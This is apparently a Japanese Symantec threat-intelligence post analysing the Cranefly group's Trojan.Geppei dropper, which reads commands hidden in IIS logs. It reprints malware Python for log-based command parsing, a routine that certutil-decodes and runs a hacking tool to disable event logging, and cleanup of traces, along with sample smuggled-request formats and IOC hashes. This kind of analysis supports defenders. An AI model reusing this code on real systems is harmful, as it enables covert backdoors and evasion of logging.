Cranefly: 脅威アクターがステルス性の高い攻撃キャンペーンで、以前は見られなかった手法やツールを使用
攻撃グループは、合法的なIISログからコマンドを読み取る新たな手法を使用しています。
2022年11月2日更新: UNC3524へのリンクに関する情報を更新しました。
Broadcom Softwareの一部門であるシマンテックは、これまで報告されていなかったドロッパーが、無害に見えるInternet Information Services(IIS)ログからコマンドを読み取る新たな手法を使用して、新しいバックドアやその他のツールをインストールしていることを発見しました。
シマンテックがCraneflyと呼ぶアクターはこのドロッパー(Trojan.Geppei)を、これまで報告されていないマルウェア(Trojan.Danfuan)やその他のツールをインストールするために使用しています。IISログからコマンドを読み取る手法は、これまでシマンテックの研究者が実際の攻撃で使用されているのを確認したことがないものでした。
当初の分析では、Craneflyの活動と、UNC3524と呼ばれる攻撃グループの間の関連性を示しているように見られていました(2022年5月にMandiantがこれに関するブログを公開しています)。この関連性は主としてWebシェルRegeorgの使用を根拠にしていましたが、RegeorgはGithubで公開されているため、これを使用しているだけでは確固としたつながりがあると判断するには十分ではありません。
技術詳細情報
シマンテックの研究者が被害者のマシンで観測した最初の悪質な行為は、それ以前には記録のなかったドロッパー(Trojan.Geppei)の存在でした。このドロッパーは、Pythonスクリプトを実行可能ファイルに変換するPyInstallerを使用していました。
Geppeiは正規のIISログからコマンドを読み取ります。IISログは、Webページやアプリケーションなど、IISのデータを記録することを目的としています。攻撃者はWebアクセス要求を装い、侵害したWebサーバーにコマンドを送信できます。IISはそれを通常どおり記録しますが、Trojan.Geppeiはそれらをコマンドとして読み取ることができます。
Geppeiが読み取ったコマンドには、暗号化された悪質な.ashxファイルが含まれます。これらのファイルはコマンドのパラメータによって決定された任意のフォルダに保存され、バックドアとして実行されます。
Wrde、Exco、Clloのストリングは、通常はIISログには含まれません。これらのストリングは、Geppeiによる悪質なHTTPリクエストの解析に使用されていると見られます。これらのストリングが存在することで、ドロッパーのマシン上の活動は迅速化されます。
攻撃者はダミーのURLを使用するか、または、IISがデフォルトで同じログファイルに404を記録するため、存在しないURLを使用するかして、これらのコマンドを送信します。
flist = ['Wrde', 'Exco', 'Cllo', 'AppleWEBKit']
timenumber = 10
rows = 0
gflag = 0
while True:
time.sleep(600)
print('One Two Three')
try:
today = datetime.date.today()
list1 = str(today).split('-')
filename = 'u_ex' + list1[0][2:] + list1[1] + list1[2] + '.log'
path = 'C:/inetpub/logs/LogFiles/W3SVC1/' + filename
if os.path.exists(path):
shutil.copy(path, 'C:\\windows\\temp\\IIS1.log')
fp = open('C:\\windows\\temp\\IIS1.log', 'r')
line = fp.readline()
for i in range(rows):
line = fp.readline() if line != '':
if len(line.split('Wrde')) == 3:
temp1 = line.split('Wrde')
wrde(temp1[1])
if len(line.split('Exco')) == 3:
temp2 = line.split('Exco')
exco(temp2[1])
if len(line.split('Cllo')) == 3:
clear()
line = fp.readline()
rows += 1
else:
fp.close()
os.remove('C:\\windows\\temp\\IIS1.log')
except:
print('Bye-Bye')
悪質なHTTPリクエストに「Wrde」を含むサンプルが含まれている場合は、例えば以下のようになります。
- GET [dummy string]Wrde[passed string to wrde()]Wrde[dummy string]
wrde()に渡されたストリングは、Decrpt()により復号化されます。
復号化されたストリングは、以下のようになると予測されます。
- w+1+C:\\inetpub\\wwwroot\\test\\backdoor.ashx
これらは悪質な.ashxファイルで、以下のように保存されます。
- C:\\inetpub\\wwwroot\\test\\backdoor.ashx
このドロッパーが投下したバックドアには、以下が含まれます。
- Hacktool.Regeorg: Regeorgは既知のマルウェアで、SOCKSプロキシを作成できるWebシェルです。シマンテックが観測した活動で、ReGeorgの2つのバージョンが確認されました。
- Trojan.Danfuan: これは以前は見られなかったマルウェアです。受信したC#コードをコンパイルし実行するDynamicCodeCompilerです。これは.NET動的コンパイル技術に基づいていると見られます。この種の動的にコンパイルされたコードは、ディスク上で作成されるのではなく、メモリに存在します。これは感染したシステムでバックドアとして動作します。
悪質なHTTPリクエストのサンプルに「Exco」が含まれる場合の例は、以下のようになります。
- GET [dummy string]Exco[passed string to exco()]Exco[dummy string]
exco()に渡されたストリングはDecrpt()によって復号化され、復号化されたこのストリングがos.system()により実行可能なコマンドです。
悪質なHTTPリクエストに「Cllo」が含まれる場合、clear()関数が呼び出されます。この関数はsckspy.exeと呼ばれるハッキングツールを投下し、Service Control Managerのイベントログを無効にします。これも、以前には記録のなかったツールだと見られます。
また、clear() 関数は、IISログファイルからコマンドまたは悪質な.ashxファイルパスを含む行の削除を試行していると考えられます。ただし、すべての行を調べるわけではないため、この関数は意図したとおりに機能していないようです。
def clear():
global gflag
global rows
text4 = '[malicious base64 encoded exe file]'
if gflag == 0:
try:
fw = open('c:\\windows\\temp\\DMI27F127.txt', 'w')
fw.write(text4)
fw.close()
os.system('certutil -decode c:\\windows\\temp\\DMI27F127.txt c:\\windows\\temp\\DMI27F127.cab')
os.system('expand c:\\windows\\temp\\DMI27F127.cab c:\\windows\\system32\\sckspy.exe')
os.system('c:\\windows\\system32\\sckspy.exe >c:\\windows\\temp\\DMI27F128.txt')
fp = open('c:\\windows\\temp\\DMI27F128.txt', 'r')
str1 = fp.readline()
if str1.find('success') != -1:
gflag = 1
fp.close()
os.system('del c:\\windows\\temp\\DMI27F127.txt')
os.system('del c:\\windows\\temp\\DMI27F127.cab')
os.system('del c:\\windows\\system32\\sckspy.exe')
os.system('del c:\\windows\\temp\\DMI27F128.txt')
except:
print('bye-bye')
悪質な.ashxファイル(つまりTrojan.DanfuanとHacktool.Regeorg)は、オプション'r'で呼び出された場合、wrde()で削除されます。
if info[0] == 'r':
temp = info[2].replace('\\\\', '\\')
os.system('del ' + temp)
name = temp.split('\\')
if name in flist:
flist.remove(name[(-1)][:-1])
正体の特定
Hacktool.Regeorgは過去に多数のAPT(高度持続的脅威)グループにより使用されていますが、このコードはGitHubで公開されているため、これが使用されていることは属性についての十分な手掛かりにはなりません。シマンテックはこの活動を既知の攻撃グループに結びつけることはできませんでした。
新規の手法やカスタムツールの使用と、被害者のマシン上でこの活動の痕跡を隠蔽するために取られた手順から、Craneflyがかなり高度なスキルを持つ攻撃アクターであることは明らかです。被害者のマシンからのデータの窃取は確認されていませんが、展開されたツールと、この活動の隠蔽手順が示しているのは、この攻撃グループの最も考えられる動機は情報収集だということです。
保護/緩和
Symantec Protection Bulletinで保護に関する最新情報をご確認ください。
侵害の痕跡
Trojan.Geppei
12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e
981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475
6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1
0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379
7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95
b5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844
Hacktool
1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa
Hacktool.Regeorg
56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077
0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd
Trojan.Danfuan
0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e

CASBがクラウドセキュリティポスチャーマネジメントのための最適な拠点である理由
1つの製品でベンダーの一本化、統合、差別化、サイロの排除を実現

We encourage you to share your thoughts on your favorite social platform.